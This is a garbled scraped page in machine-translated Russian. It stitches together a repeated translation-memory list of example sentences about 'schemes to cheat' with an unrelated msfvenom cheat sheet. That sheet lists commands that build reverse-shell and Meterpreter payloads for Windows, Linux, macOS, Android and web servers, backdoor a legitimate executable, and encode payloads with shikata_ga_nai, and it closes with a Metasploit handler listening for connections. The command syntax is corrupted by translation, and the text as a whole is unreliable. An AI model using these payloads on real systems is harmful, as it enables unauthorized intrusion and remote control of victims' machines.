мошенничество. WikiMatrixAnthon, однако, не согласился с версией Харриса об их встрече и заявил в письме к мистеруE.D. Хоу 17 февраля 1834 года, что история аутентификации Антона была ложной, что Антон определил записи как обман, и что Антон сказал Харрису, что записи были частью «схемы обмана фермера за его деньги». .. « opensubtitles2Вы выбрали Suhayl. Продвигайтесь вперед со своей схемой обмана производителя меча Общий обход В 2006 году Бюро и министерство здравоохранения Канады вместе с аналогичными агентствами в Соединенных Штатах и ​​Мексике объявили о 177 мерах по обеспечению соблюдения и правоприменению против компаний, продвигающих фиктивные и вводящие в заблуждение схемы лечения диабета, которые обманывают канадцев за их время, деньги и, самое главное, за их здоровье.

Показаны страницы 1. Найдено 69 предложения с фразой cheating circuit.Найдено за 10 мс.Накопители переводов создаются человеком, но выравниваются с помощью компьютера, что может вызвать ошибки. Найдено за 0 мс.Накопители переводов создаются человеком, но выравниваются с помощью компьютера, что может вызвать ошибки. Они приходят из многих источников и не проверяются. Имейте в виду.

Схема обмана

— определение — английский язык

Примеры предложений с «схемой обмана», память переводов

Europarl8 Жаль, что у Совета нет другой, столь же эффективной магической формулы для предотвращения коррупции, регулярно совершаемой одним или двумя еврокомиссарами, которые обманывают, схема и скрипка безнаказанно. OpenSubtitles2018.v3 Но она — обманщик, обманщик, интриги. OpenSubtitles2018.v3 Как насчет того факта, что она лживая, изменяющая, интригиющая, лживая сука…? OpenSubtitles2018.v3 Видите ли, Томми Гэвин, которого я знал, был лживым, обманщиком, интриганкой, дракой, преследующим юбку сукиным сыном. открывает субтитры2 Ты врешь, ты обманешь, у тебя схема! opensubtitles2Вы лжете, обманываете, используете схему OpenSubtitles2018.v3Вы обманывали меня своими поцелуями, обманывали и замышляли. OpenSubtitles2018.v3 Но сначала он должен был разобраться со своей интригой-обманщицей. scielo-abstractВ этой статье мы предлагаем схему VC для предотвращения мошенничества, в которой общие ресурсы можно идентифицировать и аутентифицировать, используя схему EVC и методы создания водяных знаков. OpenSubtitles2018.v3 Лживый, подонок мужа и интрига, изменяющая жена. opensubtitles2Вы обманули меня своими поцелуями, вы обманули и вынесли схему scielo-titleA Схема предотвращения мошенничества с использованием методов создания водяных знаков OpenSubtitles2018.v3 Это грязно, интриги, обман, фальсификация, ложь, эгоистичный, самоуничижительный, гедонский … opensubtitles2 Это грязный, интриги, обман, фальсификация, ложь, эгоистичный, баловство, гедонизм, сын OpenSubtitles2018.Идите вперед со своей схемой, чтобы обмануть создателя меча. OpenSubtitles2018.v3 Схема, чтобы обмануть меня из моего спасения. Обычный обход данных Нарушение этих правил, в частности, путем обмана или мошенничества с целью обмана или использования преимуществ инвесторов, обычно называют мошенничеством с ценными бумагами. WikiMatrixDeFalco утверждал, что схема «брата-близнеца» обманывает читателей, поскольку, кроме одного пузыря мысли, не было и намека на то, что у Родерика даже есть брат, а тем более тот, который мог бы служить ему двойником. MIZAN, но я всегда рад свалить подобные схемы и обманывать человека своим преднамеренным презрением. WikiMatrix Хотя Фрэнк самодовольно говорит о политических и социальных проблемах, он тратит большую часть своего времени на разработку схем, чтобы обмануть систему и использовать преимущества других, чтобы зарабатывать деньги. jw2019Но израильтяне сделали это с Иеговой — как будто он не мог видеть их интриги и мошенничество. WikiMatrixAnthon, однако, не согласился с версией Харриса об их встрече и заявил в письме к мистеруE.D. Хоу 17 февраля 1834 года, что история аутентификации Антона была ложной, что Антон определил записи как обман, и что Антон сказал Харрису, что записи были частью «схемы обмана фермера за его деньги». .. « opensubtitles2Вы выбрали Suhayl. Продвигайтесь вперед со своей схемой обмана производителя меча Общий обход В 2006 году Бюро и министерство здравоохранения Канады вместе с аналогичными агентствами в Соединенных Штатах и ​​Мексике объявили о 177 мерах по обеспечению соблюдения и правоприменению против компаний, продвигающих фиктивные и вводящие в заблуждение схемы лечения диабета, которые обманывают канадцев за их время, деньги и, самое главное, за их здоровье.

Показаны страницы 1. Найдено 69 предложения с фразой cheating circuit.Найдено за 10 мс.Накопители переводов создаются человеком, но выравниваются с помощью компьютера, что может вызвать ошибки. Найдено за 0 мс.Накопители переводов создаются человеком, но выравниваются с помощью компьютера, что может вызвать ошибки. Они приходят из многих источников и не проверяются. Имейте в виду.

Msfvenom Шпаргалка

MsfVenom — это автономный генератор полезной нагрузки Metasploit, который заменяет msfpayload и msfencode.

Двоичные файлы

Команда	Инфо
msfvenom -p windows / meterpreter / reverse_tcp LHOST = {DNS / IP / VPS IP} LPORT = {ПОРТ / Переадресованный ПОРТ} -f exe> example.exe	Создает простую полезную нагрузку TCP для Windows
msfvenom -p windows / meterpreter / reverse_http LHOST = {DNS / IP / VPS IP} LPORT = {PORT / Forwarded PORT} -f exe> пример.exe	Создает простую полезную нагрузку HTTP для Windows
msfvenom -p linux / x86 / meterpreter / reverse_tcp LHOST = {DNS / IP / VPS IP} LPORT = {ПОРТ / Переадресованный ПОРТ} -f elf> example.elf	Создает простую оболочку TCP для Linux
msfvenom -p osx / x86 / shell_reverse_tcp LHOST = {DNS / IP / VPS IP} LPORT = {ПОРТ / Переадресованный ПОРТ} -f мачо> example.macho	Создает простую оболочку TCP для Mac
msfvenom -p android / meterpreter / reverse / tcp LHOST = {DNS / IP / VPS IP} LPORT = {PORT / Forwarded PORT} R> пример.апк	Создает простую полезную нагрузку TCP для Android

веб-полезных нагрузок

Команда	Инфо
msfvenom -p php / meterpreter_reverse_tcp LHOST = {DNS / IP / VPS IP} LPORT = {ПОРТ / Переадресованный ПОРТ} -f raw> example.php	Создает простую оболочку TCP для PHP
msfvenom -p windows / meterpreter / reverse_tcp LHOST = {DNS / IP / VPS IP} LPORT = {PORT / Forwarded PORT} -f asp> пример.оса	Создает простую оболочку TCP для ASP
msfvenom -p java / jsp_shell_reverse_tcp LHOST = {DNS / IP / VPS IP} LPORT = {ПОРТ / Переадресованный ПОРТ} -f raw> example.jsp	Создает простую оболочку TCP для Javascript
msfvenom -p java / jsp_shell_reverse_tcp LHOST = {DNS / IP / VPS IP} LPORT = {ПОРТ / Переадресованный ПОРТ} -f война> example.war	Создает простую оболочку TCP для WAR

полезных нагрузок Windows

Команда	Инфо
msfvenom -l энкодеры	Перечисляет все доступные кодеры
мсввеном -х база.exe -k -p windows / meterpreter / reverse_tcp LHOST = {DNS / IP / VPS IP} LPORT = {ПОРТ / Переадресованный ПОРТ} -f exe> example.exe	Связывает exe с полезной нагрузкой (Backdoors exe)
msfvenom -p windows / meterpreter / reverse_tcp LHOST = {DNS / IP / VPS IP} LPORT = {ПОРТ / Переадресованный ПОРТ} -e x86 / shikata_ga_nai -b ‘\ x00’ -i 3 -f exe> example.exe	Создает простую полезную нагрузку TCP с кодировщиком shikata_ga_nai
мсввеном -х база.exe -k -p windows / meterpreter / reverse_tcp LHOST = {DNS / IP / VPS IP} LPORT = {ПОРТ / Переадресованный ПОРТ} -e x86 / shikata_ga_nai -i 3 -b «\ x00» -f exe> пример.exe	Связывает исполняемый файл с полезной нагрузкой и кодирует его

Как получить оболочку измерителя?

  nli @ nlistation: ~ $ sudo msfconsole
msf> использовать эксплойт / multi / handler
msf эксплуатировать (multi / handler)> установить полезную нагрузку windows / meterpreter / reverse_tcp
полезная нагрузка => windows / meterpreter / reverse_tcp
msf эксплуатировать (multi / handler)> установить lhost 192.168.1.123
lhost => 192.168.1.123
msf эксплуатировать (multi / handler)> установить lport 4444
lport => 4444
msf эксплуатировать (multi / handler)> запустить
  

,